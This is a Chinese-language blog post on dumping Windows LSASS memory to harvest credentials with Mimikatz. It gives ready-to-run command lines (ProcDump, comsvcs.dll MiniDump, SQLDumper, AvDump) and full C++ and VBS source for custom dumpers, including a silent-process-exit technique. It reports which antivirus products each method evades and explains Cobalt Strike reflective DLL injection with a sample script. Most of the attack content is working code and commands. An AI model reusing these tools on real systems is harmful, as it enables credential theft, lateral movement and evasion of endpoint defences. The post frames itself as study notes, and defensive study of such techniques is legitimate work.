<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    轉儲lsass的方法原理和實現學習

    VSole2021-09-08 18:00:00

    lsass.exe(Local Security Authority Subsystem Service進程空間中,存有著機器的域、本地用戶名和密碼等重要信息。如果獲取本地高權限,用戶便可以訪問LSASS進程內存,從而可以導出內部數據(password),用于橫向移動和權限提升。

    之前用的方式還是比較局限,很容易就會被AV進行監測攔截下來,在這里總結一部分轉儲lsass的方法:

    微軟簽名文件

    1. ProcDump

    ProcDump是微軟簽名的合法二進制文件,被提供用于轉儲進程內存。

    可以在微軟文檔中下載官方給出的ProcDump文件:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

    我們以管理員的方式運行:

    Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    

    得到轉儲文件lsass.dmp后我們將這個內存dump文件拷貝到mimikatz同目錄下,雙擊打開mimikatz執行情況如圖:

    mimikatz # sekurlsa::minidump lsass.dmp
    Switch to MINIDUMP
    mimikatz # sekurlsa::logonPasswords full
    

    就能夠獲取其目標機器的Hash

    其實這種原理是lsass.exe是Windows系統的安全機制,主要用于本地安全和登陸策略,通常在我們登陸系統時輸入密碼后,密碼便會存貯在lsass.exe內存中,經過wdigest和tspkg兩個模塊調用后,對其使用可逆的算法進行加密并存儲在內存中,而Mimikatz正是通過對lsass.exe逆算獲取到明文密碼。

    火絨確實不查,但是實戰過程中也遇到Procdump被殺的情況,推測可能是簽名的有效期過了,這里是使用剛下好的Procdump

    360不管簽名的時間戳是不是有效都會通殺Procdump.exe,因此這種方式還是比較局限的

    2.任務管理器

    打開任務管理器,選中目標進程,右鍵菜單中點擊“創建轉儲文件”,文件保存為%temp%\<進程名>.dmp。

    但是這種方式就相比更加雞肋

    3.SQLDumper

    SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整轉儲文件。

    tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID號Sqldumper.exe ProcessID 0 0x01100  導出mdmp文件
    

    實戰中下把生成的mdmp文件下載到本地,使用相同的操作系統打開。

    mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
    

    文件是安全的,火絨和360都不會認為是可以或者是惡意程序,但是在轉儲該lsass.exe進程時會出現

    3.Comsvcs.dll

    每個Windows系統中都可以找到該文件,可以使用Rundll32執行其導出函數MiniDump實現進程的完全轉儲。

    該文件是一個白名單文件,我們主要是利用了Comsvsc.dll中的導出函數APIMiniDump來實現轉儲lsass.exe的目的,注意同樣是需要管理員權限:

    該文件位于C:\windows\system32\comsvcs.dll

    我們使用如下方式來調用MiniDump實現轉儲lsass.exe進程:

    rundll32 C:\windows\system32\comsvcs.dll MiniDump "<lsass.exe pid> dump.bin full"
    

    該行為太過于敏感,在原理上都是通過APIMiniDumpWriteDump()獲得進程的dmp文件

    而某些安全產品已經開始攔截這種行為,攔截的方法如下:

    通過用戶模式下的API hook,使用跳轉(JMP)命令將NtReadVirtualMemory()的前5個字節修改為指向另一個內存地址

    因此我們可以不妨自己實現一個該DLL的功能,主要為MiniDump的功能來繞過行為檢測

    comsvcs.dll找到了我們需要使用的MiniDumpw函數:

    這里還需要解釋為什么有時候在cmd下無法使用comsvcs.dll的MiniDump來轉儲內存文件,因為在dump指定進程內存文件時,需要開啟SeDebugPrivilege權限,而在cmd中是默認沒有開啟該權限的

    而在PS中是默認開啟的選項:

    因此在實戰中可以考慮多使用:

    powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 508 C:\86189\lsass.dmp full"
    

    已達到轉儲lsass.exe的目的

    而權限提升可以使用RtlAdjustPrivilege來進行,這個函數封裝在NtDll.dll

    下圖是找到的定義和解釋:

    參數的含義:

    Privilege [In] Privilege index to change.                        // 所需要的權限名稱,可以到 MSDN 查找關于 Process Token & Privilege 內容可以查到
    Enable [In] If TRUE, then enable the privilege otherwise disable.// 如果為True 就是打開相應權限,如果為False 則是關閉相應權限
    CurrentThread [In] If TRUE, then enable in calling thread, otherwise process.// 如果為True 則僅提升當前線程權限,否則提升整個進程的權限
    Enabled [Out] Whether privilege was previously enabled or disabled.// 輸出原來相應權限的狀態(打開 | 關閉), 注意:該參數賦予空指針會出錯
    

    具體有關該函數的實現可以參考這篇文章:

    https://bbs.pediy.com/thread-76552.htm

    總而言之這個函數能夠做的事就是可以將進程賦予SeDebugPrivilege權限以此來Dump內存文件

    因此借鑒下國外作者的原版代碼:

    // BypassHashdump.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。//#define UNICODE //使用UNICODE 對應main函數就是wmain#include #include 
    typedef HRESULT(WINAPI* _MiniDumpW)(    DWORD arg1, DWORD arg2, PWCHAR cmdline    );
    typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(    ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled    );// "  full"int wmain(int argc, wchar_t* argv[]) {    HRESULT hr;    _MiniDumpW MiniDumpW;    _RtlAdjustPrivilege RtlAdjustPrivilege;    ULONG t;    //從comsvcs.dll中獲得MiniDunpw導出函數    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");    //從NTdll中獲得RtlAdjustPrivilege導出函數用戶提權    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(LoadLibrary(L"ntdll.dll"), "RtlAdjustPrivilege");    if (MiniDumpW == NULL) {        printf("Unable to resolve COMSVCS!MiniDumpW.");        return 0;    }
        if (RtlAdjustPrivilege == NULL) {        printf("Unable to resolve RtlAdjustPrivilege.");        return 0;    }    // 獲取SeDebugPrivilege,最后一個參數別設置為NULL    RtlAdjustPrivilege(20, TRUE, FALSE, &t);    printf("Invoking COMSVCS!MiniDumpW(\"%ws\")", argv[1]);    //dump lsass.exe
        MiniDumpW(0, 0, argv[1]);
        printf("OK!");
        return 0;
    

    火絨和360均未攔截,并且VT免殺率尚可:

    并且火絨和360都不會檢測到其行為:

    作者還提到了使用VBS來實現首先開啟SeDebugPrivilege權限,接著執行rundll32的命令

    Option Explicit
    Const SW_HIDE = 0
    If (WScript.Arguments.Count <> 1) Then    WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")    WScript.StdOut.WriteLine("Usage: procdump ")    WScript.QuitElse    Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
        ' get process id or name    pid = WScript.Arguments(0)
        ' connect with debug privilege    Set fso  = CreateObject("Scripting.FileSystemObject")    Set svc  = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
        ' if not a number    If(Not IsNumeric(pid)) Then      query = "Name"    Else      query = "ProcessId"    End If
        ' try find it    Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _      query & " = '" & pid & "'")
        If (list.Count = 0) Then      WScript.StdOut.WriteLine("Can't find active process : " & pid)      WScript.Quit()    End If
        For Each proc in list      pid = proc.ProcessId      str = proc.Name      Exit For    Next
        dmp = fso.GetBaseName(str) & ".bin"
        ' if dump file already exists, try to remove it    If(fso.FileExists(dmp)) Then      WScript.StdOut.WriteLine("Removing " & dmp)      fso.DeleteFile(dmp)    End If
        WScript.StdOut.WriteLine("Attempting to dump memory from " & _      str & ":" & pid & " to " & dmp)
        Set proc       = svc.Get("Win32_Process")    Set startup    = svc.Get("Win32_ProcessStartup")    Set cfg        = startup.SpawnInstance_    cfg.ShowWindow = SW_HIDE
        cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _          pid & " " & fso.GetAbsolutePathName(".") & "\" & _          dmp & " full"
        Call proc.Create (cmd, null, cfg, pid)
        ' sleep for a second    Wscript.Sleep(1000)
        If(fso.FileExists(dmp)) Then      WScript.StdOut.WriteLine("Memory saved to " & dmp)    Else      WScript.StdOut.WriteLine("Something went wrong.")    End IfEnd If
    

    但是直接出現通過rundll方式調用已經被列入是可疑行為,同樣會被攔截

     

    自定義轉儲

    目前比較常見的首發使用MiniDumpWriteDump這個Windows API來dump內存,該API位于dbghelp.dll中的導出函數:

    該函數的定義如下:

    BOOL MiniDumpWriteDump(  HANDLE                            hProcess,  DWORD                             ProcessId,  HANDLE                            hFile,  MINIDUMP_TYPE                     DumpType,  PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,  PMINIDUMP_CALLBACK_INFORMATION    CallbackParam);
    

    因此我們需要得到lsass.exe的進程句柄,并且還要創建一個可寫文件用于outfile參數的寫入:

    #include #include #include #include //鏈接#pragma comment( lib, "Dbghelp.lib" )using namespace std;
    int main() {    DWORD lsassPID = 0;    HANDLE lsassHandle = NULL;    HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    PROCESSENTRY32 processEntry = {};    processEntry.dwSize = sizeof(PROCESSENTRY32);    LPCWSTR processName = L"";    //遍歷lsass.exe 的PID    if (Process32First(snapshot, &processEntry)) {        while (_wcsicmp(processName, L"lsass.exe") != 0) {            Process32Next(snapshot, &processEntry);            processName = processEntry.szExeFile;            lsassPID = processEntry.th32ProcessID;        }        wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;    }    //調用MiniDumpWriteDump    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
        if (isDumped) {        cout << "[+] lsass dumped successfully!" << endl;    }    return 0;}
    

    翻了很多師傅的記錄也是這樣寫的,但我本地vs2019生成之后還是不能成功的dump lsass.exe,因此這里只是學習其dump的方式和原理,具體失敗原因還希望師傅多多指點

    注意該方法的一個細節就是通過獲取目標進程的內存快照,從獲取的快照內存中讀取數據,而不是直接從目標進程中獲取,更容易躲避AV/EDR檢測。 

    其他工具

    AvDump.exe是Avast殺毒軟件中自帶的一個程序,可用于轉儲指定進程(lsass.exe)內存數據,因為它帶有 Avast 殺軟數字簽名,所以不會被反病毒檢測和查殺,默認安裝路徑和下載地址如下:

    https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2

    我們可以使用如下命令:

    .\avdump64.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ProgramData\lsass.dmp
    

    注意需要在ps中調用,否則cmd默認是不開啟seDEBUGPrivilege權限的,但是現在360會檢測到avdump

     

    靜默進程退出機制觸發LSASS

    該技術和Werfault.exe進程有關,在某個運行中的進程崩潰時,werfault.exe將會Dump崩潰進程的內存,從這一點上看,我們是有可能可以利用該行為進行目標進程內存的Dump。

    在https://www.mrwu.red/web/2000.html 這篇文章中介紹了利用藍屏崩潰來繞過卡巴斯基dump lsass進程,在win7之后,windows引入一些進程退出的相關機制

    稱為“靜默進程退出”的機制,該機制提供了在兩種情況下可以觸發對被監控進行進行特殊動作的能力:

    (1)被監控進程調用 ExitProcess() 終止自身;

    (2)其他進程調用 TerminateProcess() 結束被監控進程。

    也就意味著當進程調用ExitProcess() 或 TerminateProcess()的時候,可以觸發對該進程的如下幾個特殊的動作:

    • 啟動一個監控進程
    • 顯示一個彈窗
    • 創建一個Dump文件

    由于該功能默認不開啟,我們需要對注冊表進行操作,來開啟該功能,主要的注冊表項為:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<被監控進程名>\ 注冊表項下的GlobalFlag值:0x200(FLG_MONITOR_SILENT_PROCESS_EXIT)
    

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<被監控進程名>\ 注冊表項下的3個鍵值:
    1)ReportingMode(REG_DWORD),該值可設置為以下幾個,具有不同功能:
    ??a)LAUNCH_MONITORPROCESS (0x1) – 啟動監控進程;??b)LOCAL_DUMP (0x2) – 為導致被監控進程終止的進程和被監控進程本身 二者 創建DUMP文件;??c)NOTIFICATION (0x4) – 顯示彈窗。
    2)LocalDumpFolder (REG_SZ) – DUMP文件被存放的目錄,默認為%TEMP%\\Silent Process Exit;
    3)DumpType – 根據 MINIDUMP_TYPE 枚舉值指定DUMP文件的類型 (Micro, Mini, Heap 或 Custom) ,完全轉儲目標進程內存的值為MiniDumpWithFullMemory (0x2)。
    

    這里我們需要使用的是MiniDumpWithFullMemory對應的值是0x2

    根據github上已有的項目代碼中我們也能進行驗證https://github.com/deepinstinct/LsassSilentProcessExit

    分別設置了MiniDumpWithFullMemoryFLG_MONITOR_SILENT_PROCESS_EXIT的值

    實現修改注冊表后我們就能夠通過終止目標進程即可獲得相應文件的DUMP文件,但是終止LSASS意味著系統將重啟,并且我們的目的只是為了dump保存在其中的登錄憑據,因此有沒有什么辦法能夠是進程在靜默退出而又不會實際終止進程呢?

    答案是有的,我們來看這個API:RtlReportSilentProcessExit

    API將與Windows錯誤報告服務(WerSvcGroup下的WerSvc)通信,告訴服務該進程正在執行靜默退出。然后,WER服務將啟動WerFault.exe,該文件將轉儲現有進程。值得注意的是,調用此API不會導致進程退出。其定義如下:

    NTSTATUS (NTAPI * RtlReportSilentProcessExit )(        _In_      HANDLE      ProcessHandle,        _In_      NTSTATUS    ExitStatus        );
    

    但是在MSDN中并沒有查詢到該API的任何解釋,原來該函數是Ntdll.dll的導出函數而MSDN是沒有關于Ntdll中API的任何解釋的:

    當我們調用此API不會導致Lsass進程退出,這可以讓我們在LSASS進程上執行DUMP動作而不導致LSASS的終止從而實現我們的目的

    原文作者使用兩種方式,一種是直接調用RtlReportSilentProcessExit,一種是遠程在LSASS中創建線程執行RtlReportSilentProcessExit

    這兩種方法都能夠成功dump內存,這里我們使用第一種方式通過RtlReportSilentProcessExit來使得lsass進程出于靜默退出狀態

    貼出main.cpp:

    #include "windows.h"#include "tlhelp32.h"#include "stdio.h"#include "shlwapi.h"
    #pragma comment(lib, "shlwapi.lib")
    #define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"#define LOCAL_DUMP 0x2#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200#define DUMP_FOLDER L"C:\\temp"#define MiniDumpWithFullMemory 0x2
    typedef NTSTATUS(NTAPI * fRtlReportSilentProcessExit)(    HANDLE processHandle,    NTSTATUS ExitStatus    );
    BOOL EnableDebugPriv() {    HANDLE hToken = NULL;    LUID luid;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {        printf(" - 獲取當前進程Token失敗 %#X", GetLastError());        return FALSE;    }    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {        printf(" - Lookup SE_DEBUG_NAME失敗 %#X", GetLastError());        return FALSE;    }    TOKEN_PRIVILEGES tokenPriv;    tokenPriv.PrivilegeCount = 1;    tokenPriv.Privileges[0].Luid = luid;    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) {        printf(" - AdjustTokenPrivileges 失敗: %#X", GetLastError());        return FALSE;    }    return TRUE;}
    BOOL setRelatedRegs(PCWCHAR procName) {
        HKEY hkResSubIFEO = NULL;    HKEY hkResSubSPE = NULL;    DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;    DWORD reportingMode = MiniDumpWithFullMemory;    DWORD dumpType = LOCAL_DUMP, retstatus = -1;
        BOOL ret = FALSE;
        PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY)*2 + lstrlenW(procName)*2 + 5);    wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName);    PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY)*2 + lstrlenW(procName)*2 + 5);    wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);
        printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws", subkeyIFEO);    printf(" - [DEBUGPRINT] SilentProcessExit: %ws", subkeySPE);
        do {        // 設置 Image File Execution Options\ 下GlobalFlag鍵值為0x200        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &hkResSubIFEO))) {            printf(" - 打開注冊表項 Image_File_Execution_Options 失敗: %#X", GetLastError());            break;        }        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) {            printf(" - 設置注冊表鍵 GlobalFlag 鍵值失敗: %#X", GetLastError());            break;        }
            // 設置 SilentProcessExit\ 下 ReporingMode/LocalDumpFolder/DumpType 三個值        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &hkResSubSPE))) {            printf(" - 打開注冊表項 SilentProcessExit 失敗: %#X", GetLastError());            break;        }        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode)))            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER)*2))            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) {            printf(" - 設置注冊表鍵 reportingMode|LocalDumpFolder|DumpType 鍵值失敗: %#X", GetLastError());            break;        }        printf(" - 注冊表設置完成 ...");        ret = TRUE;
        } while (FALSE);
        free(subkeyIFEO);    free(subkeySPE);    if (hkResSubIFEO)        CloseHandle(hkResSubIFEO);    if (hkResSubSPE)        CloseHandle(hkResSubSPE);
        return ret;}
    DWORD getPidByName(PCWCHAR procName) {
        HANDLE hProcSnapshot;    DWORD retPid = -1;    hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    PROCESSENTRY32W pe;
        if (INVALID_HANDLE_VALUE == hProcSnapshot) {        printf(" - 創建快照失敗!");        return -1;    }    pe.dwSize = sizeof(PROCESSENTRY32W);    if (!Process32First(hProcSnapshot, &pe)) {        printf(" - Process32First Error : %#X", GetLastError());        return -1;    }    do {        if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {            retPid = pe.th32ProcessID;        }    } while (Process32Next(hProcSnapshot, &pe));    CloseHandle(hProcSnapshot);    return retPid;}
    INT main() {
        PCWCHAR targetProcName = L"lsass.exe";    DWORD pid = -1;    HMODULE hNtMod = NULL;    fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;    HANDLE hLsassProc = NULL;    NTSTATUS ntStatus = -1;
        if (!EnableDebugPriv()) {        printf(" - 啟用當前進程DEBUG權限失敗: %#X", GetLastError());        return 1;    }    printf(" - 啟用當前進程DEBUG權限 OK");
        if (!setRelatedRegs(targetProcName)) {        printf(" - 設置相關注冊表鍵值失敗: %#X", GetLastError());        return 1;    }    printf(" - 設置相關注冊表鍵值 OK");
        pid = getPidByName(targetProcName);    if (-1 == pid) {        printf(" - 獲取目標進程pid: %#X", pid);        return 1;    }    printf(" - 獲取目標PID: %#X", pid);
        do    {        hNtMod = GetModuleHandle(L"ntdll.dll");        if (!hNtMod) {            printf(" - 獲取NTDLL模塊句柄失敗");            break;        }        printf(" - NTDLL模塊句柄: %#X", (DWORD)hNtMod);        fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");        if (!fnRtlReportSilentProcessExit) {            printf(" - 獲取API RtlReportSilentProcessExit地址失敗");            break;        }        printf(" - RtlReportSilentProcessExit地址: %#X", (DWORD)fnRtlReportSilentProcessExit);        hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_VM_READ, 0, pid);        if (!hLsassProc) {            printf(" - 獲取lsass進程句柄失敗: %#X", GetLastError());            break;        }        printf(" - 獲取lsass進程句柄: %#X", (DWORD)hLsassProc);
            ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);        printf(" - 結束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X", (DWORD)ntStatus);
        } while (false);
        if (hNtMod)         CloseHandle(hNtMod);    if (fnRtlReportSilentProcessExit)         CloseHandle(fnRtlReportSilentProcessExit);    if (hLsassProc)        CloseHandle(hLsassProc);    if (fnRtlReportSilentProcessExit)        fnRtlReportSilentProcessExit = NULL;
        return 0;}
    

    并且成功以離線方式導入讀取登錄憑據:

    利用這種方式目前還未被火絨和360進行攔截:

    其中進程順序是lsassdump.exe->svchost.exe (WerSvcGroup)->WerFault.exe,由運行級別為high的Wefault.exe進行dump文件創建。

    CS模塊中的Mimikatz

    當目標機器在CS上線時,如果是管理員權限或者是SYSTEM權限的話,可以直接使用

    mimikatz sekurlsa::privilege fullmimikatz sekurlsa::logonpasswords full
    

    之前一直有疑惑,在CS中運行Mimikatz獲取登錄憑據成功,而通過落地文件方式則會直接被殺,因此CS是如何使用Mimikatz的,換句話說難道CS也是通過上傳文件的方式來調用Mimikatz的嗎?

    其實不然,CS采用的是反射dll模塊內存加載,這個主要實現了cs里的一些功能比如mimikatz,screenshot,sshagent,hashdump等等這些功能全部是由反射dll實現的,Cobalt Strike作者將這些功能拆分成一個個的反射dll在使用時才加載執行

    反射dll注入的方式不需要在文件系統存放目標DLL,減少了文件“落地”被刪的風險。同時它不需要像常規的DLL注入方式那么套路,因此更容易通過殺軟的行為檢測。由于反射式注入方式并沒有通過LoadLibrary等API來完成DLL的裝載,DLL并沒有在操作系統中”注冊”自己的存在,因此用ProcessExplorer等軟件也無法檢測出進程加載了該DLL

    因為本人對此了解不多,具體可以參考https://www.heibai.org/176.html這篇文章

    借用這篇文章所說的反射DLL注入的核心思路:

    我們不想讓DLL文件“落地”, 那我們可以在磁盤上存放一份DLL的加密后的版本,然后將其解密之后儲存在內存里。我們然后可以用VirtualAllocWriteProcessMemory將DLL文件寫入目標進程的虛擬空間中。然而,要”加載”一個DLL,我們使用的LoadLibrary函數要求該DLL必須存在于文件系統中。這可怎么辦呢。

    沒錯,我們需要拋棄LoadLibrary,自己來實現整個裝載過程!我們可以為待注入的DLL添加一個導出函數,ReflectiveLoader這個函數實現的功能就是裝載它自身。那么我們只需要將這個DLL文件寫入目標進程的虛擬空間中,然后通過DLL的導出表找到這個ReflectiveLoader并調用它,我們的任務就完成了。

    于是,我們的任務就轉到了編寫這個ReflectiveLoader上。由于ReflectiveLoader運行時所在的DLL還沒有被裝載,它在運行時會受到諸多的限制,例如無法正常使用全局變量等。而且,由于我們無法確認我們究竟將DLL文件寫到目標進程哪一處虛擬空間上,所以我們編寫的ReflectiveLoader必須是地址無關的。也就是說,ReflectiveLoader中的代碼無論處于虛擬空間的哪個位置,它都必須能正確運行。這樣的代碼被我們稱為“地址無關代碼”(position-independent code, PIC)。

    要實現反射式注入DLL我們需要兩個部分,注射器被注入的DLL。其中,被注入的DLL除了需要導出一個函數ReflectiveLoader來實現對自身的加載之外,其余部分可以正常編寫源代碼以及編譯。而注射器部分只需要將被注入的DLL文件寫入到目標進程,然后將控制權轉交給這個ReflectiveLoader即可。因此,注射器的執行流程如下:

    • 將待注入DLL讀入自身內存(利用解密磁盤上加密的文件、網絡傳輸等方式避免文件落地)
    • 利用VirtualAlloc和WriteProcessMemory在目標進程中寫入待注入的DLL文件
    • 利用CreateRemoteThread等函數啟動位于目標進程中的ReflectiveLoader

    CS中Aggressor Script腳本提供了一些關于反射DLL的接口:https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn

    我們來看一下具體的實現方法:

    BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) {    BOOL bReturnValue = TRUE;    switch( dwReason ) {        case DLL_QUERY_HMODULE:            if( lpReserved != NULL )                *(HMODULE *)lpReserved = hAppInstance;            break;        case DLL_PROCESS_ATTACH:            hAppInstance = hinstDLL;
                /* print some output to the operator */            if (lpReserved != NULL) {                printf("Hello from test.dll. Parameter is '%s'", (char *)lpReserved);            }            else {                printf("Hello from test.dll. There is no parameter");            }
                /* flush STDOUT */            fflush(stdout);
                /* we're done, so let's exit */            ExitProcess(0);            break;        case DLL_PROCESS_DETACH:        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:            break;    }    return bReturnValue;}
    

    這是該DLL的主函數,程序通過DLLMain函數的lpReserved來當做參數傳遞,我們進一步跟進這個反射DLL的項目中查看代碼:

    和之前分析的一樣,先判斷該DLL是否存在ReflectiveLoader這個導出函數后,利用VirtualAlloc和WriteProcessMemory在目標進程中寫入待注入的DLL文件,最后利用reateRemoteThread函數來啟動進程中的ReflectiveLoader

    這里為了說明和突出反射DLL注入的效果,我們使用作者的項目編譯好DLL后可以寫一個簡單的演示cna:

    alias reflective_dll {    bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false);}
    

    將其放置在同一目錄下,然后CS加載寫好的cna

    通過反射DLL注入的方式調用Messagebox

    而在CS中Mimikatz也是通過該方式調用,因此避免了文件落地而且同樣達到了免殺的目的,并且經過測試在DLL主函數中執行system命令也同樣不會被攔截:

    函數調用反射機制
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果指定了一個類為final,則該類所有的方法都是final的。此舉能夠使性能平均提高50% 。因為對這些大對象的操作會造成系統大的開銷,稍有不慎,將會導致嚴重的后果。
    作為一只網安新人小白,在RCE方向上的求知經高人指點落腳在了Struts2上。
    接著定義 Person 類實現前面的接口:public?XStream 序列化是調用?unmarshall : xml-> object 解碼兩個重要的實現類:?Mapper 映射器簡單來說就是通過 mapper 獲取對象對應的類、成員、Field 屬性的 Class 對象,賦值給 XML 的標簽字段。Converter 轉換器XStream 為 Java 常見的類型提供了 Converter 轉換器。EventHandler 類EventHandler 類為動態生成事件偵聽器提供支持,這些偵聽器的方法執行一條涉及傳入事件對象和目標對象的簡單語句。EventHandler 類是實現了 InvocationHandler 的一個類,設計本意是為交互工具提供 beans,建立從用戶界面到應用程序邏輯的連接。
    大廠基本為了程序的安全,會使用大量內聯SVC去調用系統函數,以此來保護程序的安全。如何實現SVC指令的IO重定向,成為最大的問題。內核態是當Linux需要處理文件,或者進行中斷IO等操作的時候就會進入內核態。當arm系列cpu發現svc指令的時候,就會陷入中斷,簡稱0x80中斷。
    java反射機制是什么
    Webshell檢測方法
    2022-01-04 10:33:05
    Webshell作為一種web后門,通常由攻擊者通過常見的Web網站漏洞,如sql注入、文件包含和上傳等,上傳到服務器,從而為攻擊者提供與服務器端進行交互的能力。
    動態分析側重檢測程序在實際運行的過程中污點數據的傳播情況,因此會遺漏運行過程中未觸發的路徑,且資源開銷較大。作者將這種情況產生新污點變量的污點源稱為 intermediate source。雖然 value-based 動態污點分析技術無法處理控制依賴以及加密數據,但是其在黑盒的處理場景下仍具備優勢。
    前置知識分析Transformer接口及其實現類。transform()傳入對象,進行反射調用。構造調用鏈調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。
    介紹在最近的一次操作中,我們獲得了工作站的本地管理員權限,但是在該工作站上發現了 EDR 解決方案。在這種情
    在以往的僵尸網絡清除行動中,政府首先監控 C&C 服務器證明惡意軟件造成社會損失,隨后獲取法律許可進行定點清除。例如 2020 年微軟清除了 TrickBot 在全球的 128 臺 C&C 服務器中的 120 臺。 被動監測 C&C 服務器的方式,如節點注入,可能無法準確了解僵尸網絡的規模并且需要大量的逆向分析工作。 主動監測 C&C 服務器的方式,如滲透測試、域名扣押,通常容易被攻擊者察覺。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类